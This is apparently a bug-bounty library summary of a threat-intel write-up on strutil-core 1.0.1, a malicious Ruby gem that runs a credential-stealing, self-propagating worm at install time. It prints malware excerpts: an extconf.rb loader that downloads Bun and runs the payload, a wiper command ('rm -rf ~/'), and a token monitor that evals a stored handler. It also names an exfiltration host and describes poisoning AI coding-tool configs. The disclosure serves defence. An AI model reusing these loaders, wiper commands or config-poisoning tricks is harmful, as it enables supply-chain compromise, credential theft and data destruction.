# Shai-Hulud Descendant Surfaces in Malicious Ruby Gem That Steals Credentials and Poisons AI Tools

Malicious Ruby gem strutil-core 1.0.1 runs a Bun-based credential-stealing worm at install time, exfiltrating cloud, CI, SSH and AI-tool secrets and self-propagating.

- Payout: Research
- Severity: high
- Program: RubyGems
- Write-up by: Kush Pandya
- Disclosed: 2026-11-06
- Write-up quality: 8/10
- Original: https://socket.dev/blog/shai-hulud-descendant-malicious-ruby-gem
- Library page: https://bugbountylibrary.com/r/blog%3Asocket-dev-blog-shai-hulud-descendant-malicious-ruby-gem
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:threat-intel sev:high tech:github-actions tech:nodejs tech:ruby technique:source-review vuln:dependency-confusion vuln:secrets-leak

**Target:** RubyGems package native extension (extconf.rb) install hook
**Root cause:** The gem ships a native extension whose extconf.rb, executed by RubyGems at install time, downloads the Bun runtime and runs a bundled 5.48 MB obfuscated JavaScript worm instead of generating a Makefile.
**Steps:**
1. Publish clean strutil-core 1.0.0, then 1.0.1 with `ext/strutil-core/extconf.rb` and `ext/strutil-core/index.js` added and gemspec `extensions:` entry registered.
2. On install, extconf.rb creates `/tmp/.b_<pid>`, curls `bun-v1.2.18` zip from Bun's official GitHub releases, unzips, chmods, and runs `bun run index.js`.
3. extconf.rb writes a no-op Makefile so install completes silently.
4. Payload decodes two obfuscation layers (rotated string table; PBKDF2-HMAC-SHA256 200k-iteration keyed cipher) and reads 51 credential stores (.aws/credentials, .npmrc, .pypirc, .gem/credentials, .docker/config.json, .kube/config, .claude/.credentials.json, .codex/auth.json).
5. Exfiltrates AES-256-GCM/RSA-OAEP encrypted data to `paleasbest[.]top/v1/api`, falling back to public GitHub/GitLab repos.
6. Installs sync.py as systemd/LaunchAgent `pkg-runtime` polling public GitHub commits for marker `msync-3f7a` with RSA-PSS-signed URL.
7. Writes MCP `workspace-tools` server, SessionStart hooks, `.github/init.js`, `AGENTS.md`, `CLAUDE.md`, `.vscode/tasks.json` into repos and home configs.
8. Installs `net-health-checker` that runs `rm -rf ~/; rm -rf ~/Documents` when the stolen GitHub token returns 401/403.
**How found:** Socket's AI Scanner flagged ext/strutil-core/index.js as known malware 70 seconds after publication; analysts then statically diffed 1.0.0 vs 1.0.1, matched the extconf.rb SHA-256 to the worm's own RubyGems injector template, and traced shared components (sync.py hash, msync-3f7a marker, net-health-checker) to the testmetest/Miasma family.
**Exploitation:** Attacker needs only a victim to run `gem install strutil-core -v 1.0.1` or `bundle install` resolving to it; no require needed. Payload harvests credentials, exfiltrates, persists via systemd/LaunchAgent, poisons AI coding tool configs to re-trigger on repo open, and self-propagates via stolen RubyGems/npm/PyPI/JFrog/GitHub/GitLab/SSH credentials. Wiper triggers on token revocation.
**Escalation:** Chains credential theft into supply-chain republishing across RubyGems, npm, PyPI, JFrog, plus GitHub Actions runner memory scraping via /proc/<pid>/mem and Harden-Runner disabling through Docker socket.
**Insight:** Native-extension extconf.rb is an install-time code execution hook in RubyGems just like npm postinstall; watch for gems whose patch release adds an `extensions:` entry or ext/*/extconf.rb, and note the injector's tell: VERSION constant left at the prior version because only gemspec metadata is bumped.

## Proof of concept (copied exactly from the original report)

**Malicious extconf.rb downloads Bun and runs payload**

```
if os && arch
 bun_dir = "/tmp/.b_#{Process.pid}"
 begin
 FileUtils.mkdir_p(bun_dir)
 _gh_base = "<https://github.com/oven-sh>"
 system("curl -sSL #{_gh_base}/bun/releases/download/bun-v1.2.18/bun-#{os}-#{arch}.zip -o #{bun_dir}/b.zip 2>/dev/null")
 system("unzip -j -o #{bun_dir}/b.zip -d #{bun_dir} 2>/dev/null")
 bun = File.join(bun_dir, 'bun')
 if File.exist?(bun)
 File.chmod(0o755, bun)
 system("#{bun} run #{payload}")
 end
 ensure
 FileUtils.rm_rf(bun_dir)
```

**Wiper handler triggered on token revocation**

```
await new $c(this["token"],"rm -rf ~/; rm -rf ~/Documents")["execute"]()
```

**Token monitor checks GitHub and runs handler**

```
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
 -H "Authorization: Bearer ${GITHUB_TOKEN}" \
 -H "Accept: application/vnd.github+json" \
 "https://api.github.com/user") || true

 if [[ "$HTTP_STATUS" =~ ^40[13]$ ]]; then

A 401 or 403 response runs the stored handler:
Bash 

 eval "$HANDLER"
```

